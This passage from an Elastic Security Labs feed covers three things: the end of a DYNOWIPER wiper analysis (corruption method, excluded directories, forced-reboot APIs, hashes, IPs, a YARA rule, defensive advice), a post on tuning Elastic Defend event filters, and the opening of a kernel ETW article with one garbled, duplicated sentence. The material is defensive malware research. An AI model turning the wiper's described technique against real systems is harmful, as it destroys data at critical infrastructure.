<p>The malware enumerates all logical drives (A-Z) using <code>GetLogicalDrives()</code> and targets only <code>DRIVE_FIXED</code> (hard drives) and <code>DRIVE_REMOVABLE</code> (USB drives, SD cards) types.</p>
<h4 id="filecorruption">File Corruption</h4>
<p>DYNOWIPER employs a Mersenne Twister PRNG to generate pseudorandom data for file corruption. Rather than overwriting entire files (which requires time), it strategically corrupts files by:</p>
<ol>
<li>Removing file protection attributes via <code>SetFileAttributesW(FILE_ATTRIBUTE_NORMAL)</code>  </li>
<li>Opening files with <code>CreateFileW</code> for read/write access  </li>
<li>Overwriting the file header with 16 bytes of random data  </li>
<li>For larger files, generating up to 4,096 random offsets and overwriting each with 16-byte sequences</li>
</ol>
<p>This approach allows rapid corruption of many files while ensuring data is unrecoverable.</p>
<h4 id="directoryexclusionlist">Directory Exclusion List</h4>
<p>The malware deliberately avoids system-critical directories to maintain system stability during the attack:</p>
<ul>
<li><code>windows</code>, <code>system32</code>  </li>
<li><code>program files</code>, <code>program files(x86)</code>  </li>
<li><code>boot</code>, <code>appdata</code>, <code>temp</code>  </li>
<li><code>recycle.bin</code>, <code>$recycle.bin</code>  </li>
<li><code>perflogs</code>, <code>documents and settings</code></li>
</ul>
<p>This design choice maximizes data destruction <em>before</em> the system becomes unstable, ensuring the wiper completes its mission.</p>
<h4 id="forcedreboot">Forced Reboot</h4>
<p>After corruption and deletion phases complete, DYNOWIPER:  </p>
<ol>
<li>Obtains a process token via <code>OpenProcessToken()</code>  </li>
<li>Enables <code>SeShutdownPrivilege</code> via <code>AdjustTokenPrivileges()</code>  </li>
<li>Forces system reboot with <code>ExitWindowsEx(EWX_REBOOT | EWX_FORCE)</code></li>
</ol>
<h3 id="notablecharacteristics">Notable Characteristics</h3>
<p>DYNOWIPER is distinguished by several characteristics:</p>
<ul>
<li>No persistence mechanism - The malware does not attempt to survive reboots </li>
<li>No C2 communication - Completely standalone, no network callbacks  </li>
<li>No shell command invocations - All operations performed via Windows API  </li>
<li>No anti-analysis techniques - No attempts to evade detection or debugging </li>
<li>Characteristic PDB path: <code>C:\Users\vagrant\Documents\Visual Studio 2013\Projects\Source\Release\Source.pdb</code></li>
</ul>
<p>The use of "vagrant" in the PDB path suggests development occurred in a Vagrant-managed virtual machine environment.</p>
<h3 id="versiondifferences">Version Differences</h3>
<p>CERT Polska documented two DYNOWIPER versions (A and B). The sample we analyzed corresponds to version A. Version B removed the system shutdown functionality and added a 5-second sleep between corruption and deletion phases.</p>
<h2 id="elasticdefendprotection">Elastic Defend Protection</h2>
<p>During testing of DYNOWIPER samples, Elastic Defend successfully detected and mitigated the malware before it could cause damage.</p>
<h3 id="detectionalert">Detection Alert</h3>
<p>```json<br />
{<br />
  "message": "Ransomware Prevention Alert",<br />
  "event": {<br />
    "code": "ransomware",<br />
    "action": "canary-activity",<br />
    "type": ["info", "start", "change", "denied"],<br />
    "category": ["malware", "intrusion_detection", "process", "file"],<br />
    "outcome": "success"<br />
  },<br />
  "Ransomware": {<br />
    "feature": "canary",<br />
    "version": "1.9.0"<br />
  }<br />
}  </p>
<pre><code>### How Canary Protection Works

Elastic Defend's ransomware protection employs canary files (strategically placed decoy files) that trigger alerts when modified. DYNOWIPER's indiscriminate file corruption approach caused it to modify a canary file.

When the wiper attempted to corrupt this canary file, Elastic Defend immediately:  
1. Detected the suspicious modification pattern  
2. Blocked further execution  
3. Generated a high-confidence ransomware alert (risk score: 73)

While Elastic Defend was not the EDR solution used in this incident, this form of defense-in-depth protection was critical in the real-world intrusion. According to CERT Polska, the EDR solution deployed at the CHP plant, using the same canary protection technology highlighted above, halted data overwriting on more than 100 machines where DYNOWIPER had already begun executing.

## Why Behavioral Detection is Crucial

Destructive malware can present unique challenges to minimizing risk:  
* They may not establish C2 connections (no network indicators)  
* They may not use persistence mechanisms (limited forensic artifacts)  
* They execute quickly and destructively  
* Static signature-based detection may miss new variants

Behavioral protection, such as through canary files, provides a crucial layer of defense that can catch destructive malware regardless of its novelty.

## Indicators of Compromise

### File Hashes (DYNOWIPER)

| SHA256 | Filename |  
|--------|----------|  
| `835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5` | dynacom\_update.exe |  
| `65099f306d27c8bcdd7ba3062c012d2471812ec5e06678096394b238210f0f7c` | Source.exe |  
| `60c70cdcb1e998bffed2e6e7298e1ab6bb3d90df04e437486c04e77c411cae4b` | schtask.exe |  
| `d1389a1ff652f8ca5576f10e9fa2bf8e8398699ddfc87ddd3e26adb201242160` | schtask.exe |

### Distribution Scripts

| SHA256 | Filename |  
|--------|----------|  
| `8759e79cf3341406564635f3f08b2f333b0547c444735dba54ea6fce8539cf15` | dynacon_update.ps1 |  
| `f4e9a3ddb83c53f5b7717af737ab0885abd2f1b89b2c676d3441a793f65ffaee` | exp.ps1 |

### Network Indicators

| IP Address | Context |  
|------------|---------|  
| `185.200.177[.]10` | VPN logins, direct DYNOWIPER execution |  
| `31.172.71[.]5` | Reverse proxy for data exfiltration |  
| `193.200.17[.]163` | VPN logins |  
| `185.82.127[.]20` | VPN logins |  
| `72.62.35[.]76` | VPN and O365 logins |

### YARA Rule
</code></pre>
<p>yara<br />
rule DYNOWIPER {<br />
    meta: 
        author = "CERT Polska"
        description = "Detects DYNOWIPER data destruction malware"<br />
        severity = "CRITICAL"<br />
        reference = "https://mwdb.cert.pl/"  </p>
<pre><code>strings:  
    $a1 = "$recycle.bin" wide  
    $a2 = "program files(x86)" wide  
    $a3 = "perflogs" wide  
    $a4 = "windows\x00" wide  
    $b1 = "Error opening file: " wide  
    $priv = "SeShutdownPrivilege" wide  
    $api1 = "GetLogicalDrives"  
    $api2 = "ExitWindowsEx"  
    $api3 = "AdjustTokenPrivileges"  

condition:  
    uint16(0) == 0x5A4D  
    and filesize &lt; 500KB  
    and 4 of ($a*, $b1)  
    and $priv  
    and 2 of ($api*)  
</code></pre>
<p>}<br />
```</p>
<h2 id="recommendations">Recommendations</h2>
<h3 id="immediateactions">Immediate Actions</h3>
<ol>
<li><strong>Deploy behavioral ransomware protection</strong> - Signature-based detection alone is insufficient against novel wipers  </li>
<li><strong>Enable MFA on all VPN and remote access solutions</strong> - The attackers exploited accounts without MFA  </li>
<li><strong>Audit FortiGate and edge device configurations</strong> - Check for unauthorized accounts, rules, and scheduled tasks  </li>
<li><strong>Review default credentials</strong> - Industrial devices (RTUs, HMIs, serial servers) often ship with default passwords</li>
</ol>
<h3 id="detectionopportunities">Detection Opportunities</h3>
<p>Monitor for:  </p>
<ul>
<li><code>GetLogicalDrives</code> API calls followed by mass file operations  </li>
<li><code>SetFileAttributesW</code> calls setting <code>FILE_ATTRIBUTE_NORMAL</code> at scale  </li>
<li>Privilege escalation for <code>SeShutdownPrivilege</code> followed by <code>ExitWindowsEx</code> </li>
<li>GPO modifications creating scheduled tasks with SYSTEM privileges  </li>
<li>Unusual file modifications across multiple drives simultaneously</li>
</ul>
<h3 id="recoveryconsiderations">Recovery Considerations</h3>
<ul>
<li><strong>Restore from offline/air-gapped backups</strong> - Online backups may have been targeted  </li>
<li><strong>Verify backup integrity</strong> before restoration  </li>
<li><strong>Assume credential compromise</strong> - Reset all passwords, especially domain admin accounts  </li>
<li><strong>Audit all removable media</strong> that may have been connected to affected systems</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>The December 2025 attacks on Poland's energy sector represent a significant escalation in destructive cyber operations against critical infrastructure. DYNOWIPER, while not technically sophisticated, proved effective at rapid data destruction when combined with the threat actor's extensive pre-positioned access.</p>
<p>The incident underscores the importance of defense-in-depth strategies, particularly behavioral detection capabilities that can identify destructive malware regardless of its novelty. Elastic Defend's ransomware protection—specifically its canary file monitoring—proved effective at detecting and blocking DYNOWIPER before it could complete its destructive mission.</p>
<p>Organizations in critical infrastructure sectors should review their security posture against the TTPs documented in this report and CERT Polska's comprehensive analysis.</p>
<hr />
<h2 id="references">References</h2>
<ul>
<li>CERT Polska: <a href="https://mwdb.cert.pl/">Energy Sector Incident Report – 29 December</a>   </li>
<li>Cisco Talos: <a href="https://blog.talosintelligence.com/static-tundra">Static Tundra</a> </li>
<li>FBI IC3: <a href="https://www.ic3.gov/PSA/2025/PSA250820">PSA250820</a></li>
</ul>
<h2 id="mitreattckmapping">MITRE ATT&amp;CK Mapping</h2>
<p>| Tactic | Technique | ID |<br />
|--------|-----------|-----|<br />
| Execution | Scheduled Task/Job | T1053.005 |<br />
| Defense Evasion | File and Directory Permissions Modification | T1222 |<br />
| Discovery | Local Storage Discovery | T1680 |<br />
| Impact | Data Destruction | T1485 |<br />
| Impact | System Shutdown/Reboot | T1529 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/dynowiper</link>
    <guid isPermaLink="false">dynowiper</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f41932b64947d99/6a7d7f58dd26d2c2112a7225/image1.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[How Elastic Infosec Optimizes Defend for Cost and Performance]]></title>
    <description><![CDATA[This article details the internal Elastic Infosec team's process to optimize our endpoint data collection using Event Filtering and Advanced Policy Settings in Elastic Defend.]]></description>
    <content:encoded><![CDATA[<p>In the world of Security Operations Centers (SOCs), data is valuable, but excessive data can be problematic. Collecting every single event from every endpoint is expensive, unnecessary, and could lead to performance issues on your workstations and clusters. At Elastic, we treat our own InfoSec team as "Customer Zero", we run the latest versions of all Elastic products, which includes deploying Elastic Defend on our entire fleet of workstations with all updates applied within 24 hours of a new version being released.</p>
<p>This article details the internal Elastic Infosec team's process to optimize our endpoint data collection. By leveraging <a href="https://www.elastic.co/docs/solutions/security/manage-elastic-defend/event-filters">Event Filtering</a> and Advanced Policy Settings in <a href="https://www.elastic.co/guide/en/security/current/install-endpoint.html"><strong>Elastic Defend</strong></a>, we significantly reduced noise, improved cluster performance, and saved on storage costs, all while maintaining a robust security posture. By following these strategies you can significantly reduce your EDR costs with only a few hours of work.</p>
<p>Elastic Defend is a powerful Endpoint Detection and Response agent that provides comprehensive protection against advanced threats. Elastic Defend offers a wide range of capabilities, including prevention, detection, and response, to safeguard your endpoints. In addition to on-host detections and alerting, its capabilities include rich event telemetry collected directly from the endpoint and sent to your Elastic stack, such as process executions, network connections, DNS events, USB Device Events, DLL and Driver loads, API events, file system changes, and registry modifications. 
Elastic added default event filtering in 8.3.0+ that will automatically filter out known benign system events unless you disable it in the policy advanced settings. In addition to the built in filters, it is easy to add your own custom <a href="https://www.elastic.co/docs/solutions/security/manage-elastic-defend/event-filters">Event Filtering</a> to Elastic Defend that will reduce your costs even further. </p>
<h2 id="theenvironmentworldwidedistributedworkforce">The environment: Worldwide Distributed Workforce</h2>
<p>Our environment at Elastic isn't like most traditional enterprises. We are a remote first, distributed workforce with team members working remotely in over 43 countries around the world. Almost half of our employees are developers or engineers who are constantly pushing the boundaries of what an operating system can do. They are using Mac, Windows, and Linux workstations to compile software, build custom Linux kernels, run Elasticsearch clusters on Kubernetes on their workstations, and utilize complex development tools that can generate massive amounts of benign file and process activity.</p>
<p>When we initially rolled out Elastic Defend, our strategy was to first deploy to a small population of workstations from various different workcenters so we could get an idea of what the event volume looked like and filter out the noisiest events, and then gradually add more workstations each week. When we first installed Elastic Defend without any event filters we saw a very large volume of data, an average of 48k events per hour per workstation. A large amount of these events were being caused by benign but noisy management software such as Qualys, Jamf, inTune, etc. We needed a strategy to filter out the noise without creating blind spots for our security analysts.</p>
<h2 id="step1identifyingthenoise">Step 1: Identifying the Noise</h2>
<p>When looking for noisy events there are generally two different categories of noise that you should look for:   </p>
<ol>
<li>Software that is installed on the majority of your workstations.  </li>
<li>A single host that is creating far more noise than your other hosts. </li>
</ol>
<p>When adding filters you will want to start with the first category of noise as that will make a bigger difference in the long run. A common cause of events like this are MDM agents or other applications that are constantly taking the same benign action such as writing to a log file and making network connections to ship logs to the cluster. </p>
<p>When a single host is creating significantly more events than other hosts it is often from a misconfiguration or a bug, in these cases the best solution is to fix the problem on the host. For example, we found a Linux system with a broken script that kept restarting and crashing thousands of times per second. Instead of adding an Event filter we reached out to the system owner and they fixed the script which also improved the performance of the system. If the events are caused by software installs that aren't on other hosts then event filters can be used to filter out for individual hosts. This will often be a single server such as a database or webserver causing a lot of network or file events compared to other systems.</p>
<p>We use the following ES|QL queries to pinpoint high-volume event categories, processes, and file paths. If you are using an older version of Elastic that does not support ES|QL you can use Lens visualizations in a similar way.</p>
<p>In the following ES|QL queries we use the logs-endpoint.events* index pattern. This is the default index pattern created by Elastic Defend for storing streamed events from endpoints. If you are using a custom configuration or cross cluster search this index pattern may be different.</p>
<p><strong>Noisiest Event Categories and Actions:</strong> Use this query to find the categories and actions that are creating the most alerts. This is a good starting point to show you where the noisiest events are that will have the biggest impact if they are filtered.</p>
<pre><code>FROM logs-endpoint.events*
| STATS event_count = count(*) BY event.category, event.action
| SORT event_count DESC
| LIMIT 10
| KEEP event.category, event.action, event_count
</code></pre>
<p><strong>10 Noisiest Hosts:</strong> This query is a good way to find your noisiest workstations or servers.</p>
<pre><code>FROM logs-endpoint.events*
| STATS event_count = count(*) BY host.id, host.name
| SORT event_count DESC
| LIMIT 10
| KEEP host.id, host.name, event_count
</code></pre>
<p><strong>Noisiest events on a single host:</strong> Once you've identified a noisy host, use this query to drill down and find the specific processes, command lines, or file paths driving that volume. You can use the <code>| WHERE host.id == "{HOST_ID}"</code> filter on any of the following queries to drill down on a single host events.</p>
<pre><code>FROM logs-endpoint.events*
| WHERE host.id == "{HOST_ID}"
| STATS event_count = count(*) BY event.category, event.action, process.name, process.command_line, file.path
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, process.command_line, event.category, event.action, file.path, event_count
</code></pre>
<p><strong>Noisiest Process Names:</strong> Use this query to find which applications or system processes are responsible for the highest event volume globally across your fleet.</p>
<pre><code>FROM logs-endpoint.events*
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count
</code></pre>
<p><strong>Noisiest File Paths:</strong> Use this query to identify specific files or directories that are being accessed or modified frequently, often indicating logging or temporary file activity.</p>
<pre><code>FROM logs-endpoint.events*
| WHERE event.category == "file"
| STATS event_count = count(*) BY file.path, event.action
| SORT event_count DESC
| LIMIT 10
| KEEP file.path, event.action, event_count
</code></pre>
<p><strong>Top 10 Network Events by Process Name:</strong> Use this query to see which processes are generating the most network connection events, which can help identify chatty agents or services.</p>
<pre><code>FROM logs-endpoint.events*
| WHERE event.category == "network"
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count
</code></pre>
<p><strong>Top 10 Process Names by File Events:</strong> Use this query to identify which processes are generating the most file system noise, distinguishing them from other categories like network or registry events.</p>
<pre><code>FROM logs-endpoint.events*
| WHERE event.category == "file"
| STATS event_count = count(*) BY process.name
| SORT event_count DESC
| LIMIT 10
| KEEP process.name, event_count
</code></pre>
<h2 id="step2preciseeventfiltering">Step 2: Precise Event Filtering</h2>
<p>Armed with this data, we utilize <a href="https://www.elastic.co/docs/solutions/security/manage-elastic-defend/event-filters"><strong>Event Filters</strong></a> in Elastic Defend. This feature allows you to prevent specific events from ever being sent to Elasticsearch, filtering them out directly at the endpoint. Filtering these events has no impact on the malware and host protections provided by Elastic Defend, it only stops these events from being sent to your cluster. This saves network bandwidth, disk storage, and CPU cycles on the workstations and ingest pipelines.</p>
<h3 id="filterexample1elasticsearchfilenoise">Filter example 1: Elasticsearch file noise</h3>
<p>At Elastic we have a lot of users that run their own installations of Elasticsearch on their workstations as a way of doing testing or development. Elasticsearch will write files to disk very often as documents are ingested which can be quite noisy. Each filter is OS specific so you may need to create more than one version of some filters, this is an example of our MacOS version of this event filter:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte9a3ecee9bd6a75e/6a7d8147ead8ec4131ba7b3e/image3.png" alt="" /></p>
<h3 id="filterexample2linuxlogfilemodifications">Filter example 2: Linux Logfile modifications</h3>
<p>On Linux systems log files are being constantly updated. This filter can be used to exclude all modification events when the <code>file.extension</code> is <code>log</code>. We would still receive events if a log file is created or deleted, but not when it is modified.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt36e092ce520d8dcb/6a7d814afc63ab5368649fc0/image1.png" alt="Filter example 3: Docker running &lt;code&gt;ps&lt;/code&gt;" title="Filter example 3: Docker running &lt;code&gt;ps&lt;/code&gt;" /></p>
<p>On MacOS systems that have Docker installed the docker backend process will run <code>ps</code> regularly to get information about the containers running on the workstation. Across our collection of workstations we were seeing these events over 153 million times per month. This filter can be used to exclude those events from collection.  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3ce135db8f965621/6a7d814c3ce8e223eccf2688/image2.png" alt="" /></p>
<p><strong>Pro Tip:</strong> When applying filters, use the "Comments" field in the UI to document <em>why</em> a filter exists and link to the relevant ticket or investigation. This is crucial for long-term maintenance.</p>
<h2 id="step3optimizingperformanceatthesource">Step 3: Optimizing Performance at the Source</h2>
<p>Beyond filtering, it is possible to make changes to the advanced settings of an Elastic Defend policy that will reduce the size of every event that is ingested. These advanced settings can reduce the number of events generated without sacrificing security. There are <a href="https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint">several features</a> that help reduce the amount of data created by Elastic Agent.</p>
<p>Elastic Defend calculates MD5, SHA-1, and SHA-256 hashes for file events and alerts. Prior to 8.18 collecting all three hashes was enabled by default, but in 8.18 and newer the MD5 and SHA-1 hashes are disabled by default. These calculations consume workstation CPU cycles and cluster storage space calculating hashes that are unnecessary when we have the SHA-256 values.</p>
<p>If you have Elastic Agent prior to 8.18 and you want to disable these hash calculations, this is how you disable MD5 and SHA-1 collection in our integration policy settings:</p>
<ol>
<li>Navigate to <strong>Integration Policies</strong> -&gt; <strong>Elastic Defend</strong>.  </li>
<li>Click <a href="https://www.elastic.co/docs/reference/security/defend-advanced-settings"><strong>Show advanced settings</strong></a>.  </li>
<li>Under <strong>Windows/macOS/Linux event settings</strong>, set these values to <code>false</code>:  </li>
</ol>
<ul>
<li><code>windows.advanced.events.hash.md5</code>  </li>
<li><code>windows.advanced.events.hash.sha1</code>  </li>
<li><code>linux.advanced.events.hash.md5</code>  </li>
<li><code>linux.advanced.events.hash.sha1</code>  </li>
<li><code>macos.advanced.events.hash.md5</code>  </li>
<li><code>macos.advanced.events.hash.sha1</code></li>
</ul>
<h3 id="eventaggregation">Event Aggregation</h3>
<p>Another effective way to reduce data volume is by utilizing event aggregation. Elastic Defend automatically merges short-lived process and network events with the same values into a single event document. Without this setting every process would create three separate <code>start</code>, <code>fork</code>, <code>end</code> events. With this setting enabled these three events are combined into a single document if they happen within a few seconds of each other.</p>
<p>This is particularly useful for environments where processes spin up and shut down rapidly. This feature is enabled by default on 8.18 and newer versions of Elastic Defend, but it can be enabled on older versions using the advanced settings. You can control this behavior using the <a href="https://www.elastic.co/docs/reference/security/defend-advanced-settings"><strong>advanced setting</strong></a> <code>[linux|mac|windows].advanced.events.aggregate_process</code>. We found that keeping these enabled significantly reduced our event count without impacting our ability to investigate incidents.</p>
<p><strong>The Impact:</strong></p>
<ul>
<li><strong>Reduced CPU Usage:</strong> The agent no longer spends cycles calculating three different hashes for every file event.  </li>
<li><strong>Smaller Event Size:</strong> Removing these fields slightly reduced the size of every file event JSON document sent to Elasticsearch, compounding into significant storage savings over billions of events.</li>
</ul>
<h2 id="results">Results</h2>
<p>By implementing these changes, we transformed our detection environment:</p>
<ul>
<li><strong>Volume Reduction:</strong> We dropped from an average of ~48k events per host per hour to ~12k events per host per hour—a 75% reduction in noise.  </li>
<li><strong>Cost Savings:</strong> Assuming an average size of 1kb per document ingested, reducing event volume by 36,000 documents per host per hour translates to a reduction of ingested logs by 3.5TB per day for our fleet of 4,000 hosts. This results in an estimated reduction of around 100TB per month in our Elastic cluster, saving our team thousands of dollars every month. The true savings amount can vary depending on your settings such as <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/getting-started-index-lifecycle-management.html">ILM</a>, <a href="https://www.elastic.co/docs/solutions/security/detect-and-alert/using-logsdb-index-mode-with-elastic-security">logsdb</a>, <a href="https://www.elastic.co/docs/manage-data/lifecycle/data-tiers#frozen-tier">frozen storage</a>, network transfer costs, cloud provider costs, and the hardware used in your cluster.  </li>
<li><strong>Improved Signal:</strong> Our analysts now see fewer benign events which improves overall search speed and makes it easier to find the signal in the noise when hunting for threats.</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>Automation and configuration tuning are powerful tools for any SOC, and they are essential for managing the rich telemetry provided by modern endpoint security solutions like Elastic Defend. Don't be intimidated by the volume of events collected; this visibility is your greatest asset in detecting advanced threats. By treating our internal security team as Customer Zero, we proved that you can aggressively filter noise and optimize configurations to save money and improve performance without compromising security. These changes not only reduced our storage footprint but also empowered our analysts to focus on what matters most: detecting and responding to real threats.</p>
<p>We encourage you to embrace the full capabilities of Elastic Defend. Don't be intimidated by the data—take control of your Endpoint data with event filters. Start by using <strong>ES|QL and Lens</strong> to identify your noisiest events, implement <strong>Event Filters</strong> to suppress benign activity, and review your <strong>Policy Settings</strong> to ensure you're only collecting the data you truly need. Ready to optimize your own environment? <a href="https://cloud.elastic.co/registration">Start your free trial</a> of Elastic Security today and experience the power of comprehensive endpoint protection.</p>
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/how-elastic-infosec-optimizes-defend</link>
    <guid isPermaLink="false">how-elastic-infosec-optimizes-defend</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Aaron Jewitt]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9b62efe2c95af903/6a7d814f96b5a6b53f87864b/Security_Labs_Images_5.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Kernel ETW is the best ETW]]></title>
    <description><![CDATA[This research focuses on the importance of native audit logs in secure-by-design software, emphasizing the need for kernel-level ETW logging over user-mode hooks to enhance anti-tamper protections.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>A critical feature of secure-by-design software is the generation of audit logs when privileged operations are performed. These native audit logs can include details of the internal software state, which are impractical for third-party security vendors to bolt on after the fact.</p>
<p>Most Windows components generate logs using <a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing">Event Tracing for Windows</a> (ETW). These events expose some of Windows's inner workings, and there are scenarios when endpoint security products benefit from subscribing to them. For security purposes, though, not all ETW providers are created equal.</p>
<p>The first consideration is typically the reliability of the event provider itself - in particular, where the logging happens. Is it within the client process and <a href="https://twitter.com/dez_/status/938074904666271744">trivially vulnerable to ETW tampering</a>? Or is it perhaps slightly safer over in an RPC server process? Ideally, though, the telemetry will come from the <a href="https://www.elastic.co/security-labs/doubling-down-etw-callstacks">kernel</a>. Given the user-to-kernel security boundary, this provides stronger anti-tamper guarantees over in-process telemetry. This is Microsoft’s recommended approach. Like Elastic Endpoint, Microsoft Defender for Endpoint also uses kernel ETW in preference to fragile user-mode <code>ntdll</code> hooks.</p>
<p>For example, an adversary might be able to easily avoid an in-process user-mode hook on <code>ntdll!NtProtectVirtualMemory</code>, but bypassing a kernel <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+PROTECTVM">PROTECTVM</a> ETW event is significantly harder. Or, at least, <a href="https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">it should be</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf38f09f5c2e08cac/6a7d827dfc63ab82fd649fdc/image3.png" alt="Sample ETW providers and where they are logged" title="Sample ETW providers and where they are logged" /></p>
<p>The Security Event Log is effectively just persistent storage for the events from the Microsoft-Windows-Security-Auditing ETW provider. Surprisingly, <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688">Security Event 4688</a> for process creation is not a kernel event. The kernel dispatches the data to the Local Security Authority (<code>lsass.exe</code>) service, emitting an ETW event for the Event Log to consume. So, the data could be tampered with from within that server process. Contrast this with the <code>ProcessStart</code> event from the Microsoft-Windows-Kernel-Process provider, which is logged directly by the kernel and requires kernel-level privileges to interfere with.</p>
<p>The second consideration is then the reliability of the information being logged. You might trust the event source, but what if it is just <a href="https://www.elastic.co/security-labs/effective-parenting-detecting-lrpc-based-parent-pid-spoofing">blindly logging</a> <a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">client-supplied data</a> that is extrinsic to the event being logged?</p>
<p>In this article, we’ll focus on kernel ETW events. These are typically the most security-relevant because they are difficult to bypass and often pertain to privileged actions being performed on behalf of a client thread.</p>
<p>When Microsoft introduced Kernel Patch Protection, security vendors were significantly constrained in their ability to monitor the kernel. Given the limited number of kernel extension points provided by Microsoft, they were increasingly compelled to rely on asynchronous ETW events for after-the-fact visibility of kernel actions performed on behalf of malware. </p>
<p>Given this dependency, the public documentation of Windows kernel telemetry sources is unfortunately somewhat sparse.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc1982862ad087ae7/6a7d8280448e4ebb695bdb68/image11.png" alt="The events in Microsoft-Windows-Kernel-Audit-API-Calls are somewhat opaque" title="The events in Microsoft-Windows-Kernel-Audit-API-Calls are somewhat opaque" /></p>
<h2 id="kerneletwevents">Kernel ETW Events</h2>
<p>There are currently <a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#types-of-providers">four types of ETW providers</a> that we need to consider.  </p>
<p>Firstly, there are legacy and modern variants of “event provider”:</p>
<ul>
<li>legacy (<a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-">mof</a>-based) event providers</li>
<li>modern (<a href="https://learn.microsoft.com/en-us/windows/win32/wes/writing-an-instrumentation-manifest">manifest</a>-based) event providers</li>
</ul>
<p>And then there are legacy and modern variants of “trace provider”:</p>
<ul>
<li>legacy Windows software trace preprocessor (<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/wpp-software-tracing">WPP</a>) trace providers</li>
<li>modern <a href="https://learn.microsoft.com/en-us/windows/win32/tracelogging/trace-logging-about">TraceLogging</a> trace providers</li>
</ul>
<p>The “event” versus “trace” distinction is mostly semantic. Event providers are typically registered with the operating system ahead of time, and you can inspect the available telemetry metadata. These are typically used by system administrators for troubleshooting purposes and are often semi-documented. But when something goes really, <em>really</em> wrong there are (hidden) trace providers. These are typically used only by the original software authors for advanced troubleshooting and are undocumented.</p>
<p>In practice, each uses a slightly different format file to describe and register its events and this introduces minor differences in how the events are logged - and, more importantly, how the potential events can be enumerated.</p>
<h3 id="modernkerneleventproviders">Modern Kernel Event Providers</h3>
<p>The modern kernel ETW providers aren’t strictly documented. However, registered event details can be queried from the operating system via the <a href="https://learn.microsoft.com/en-us/windows/win32/api/tdh/">Trace Data Helper API</a>. Microsoft’s <a href="https://github.com/microsoft/perfview">PerfView</a> tool uses these APIs to reconstruct the provider’s <a href="https://github.com/microsoft/perfview/blob/319be737115e01f77c42804cd1d41755211347f3/src/TraceEvent/RegisteredTraceEventParser.cs#L88">registration manifest</a>, and Pavel Yosifovich’s <a href="https://github.com/zodiacon/EtwExplorer">EtwExplorer</a> then wraps these manifests in a simple GUI. You can use these <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/manifest">tab-separated value files</a> of registered manifests from successive Windows versions. A single line per event is very useful for grepping, though others have since published the <a href="https://github.com/nasbench/EVTX-ETW-Resources/tree/main/ETWProvidersManifests">raw XML manifests</a>.</p>
<p>These aren’t all of the possible Windows ETW events, however. They are only the ones registered with the operating system by default. For example, the ETW events for many <a href="https://github.com/nasbench/EVTX-ETW-Resources/issues/52">server roles aren’t registered</a> until that feature is enabled.</p>
<h3 id="legacykerneleventproviders">Legacy Kernel Event Providers</h3>
<p>The <a href="https://docs.microsoft.com/en-us/windows/win32/etw/msnt-systemtrace">legacy kernel events</a> are documented by Microsoft. Mostly.</p>
<p>Legacy providers also exist within the operating system as WMI <a href="https://learn.microsoft.com/en-us/windows/win32/etw/eventtrace">EventTrace</a> classes. Providers are the root classes, groups are the children, and events are the grandchildren.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt953d39089b71f000/6a7d828305b7b50e61188b72/image8.png" alt="Enumerating MOF providers with wbemtest" title="Enumerating MOF providers with wbemtest" /></p>
<p>To search the legacy events in the same way as modern eventTo search legacy events in the same way as modern events, these classes were parsed, and the original MOF (mostly) reconstructed. This <a href="https://github.com/zodiacon/EtwExplorer/pull/3">MOF support was added to EtwExplorer,</a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/mof">tab-separated value summaries</a> of the legacy events were these classes were parsed and the original MOF (mostly) reconstructed. This <a href="https://github.com/zodiacon/EtwExplorer/pull/3">MOF support was added to EtwExplorer</a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/mof">tab-separated value summaries</a> of the legacy events published. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt84135f533beefd69/6a7d828577b03429bc3fc676/image6.png" alt="Enumerating MOF providers with ETW Explorer" title="Enumerating MOF providers with ETW Explorer" /></p>
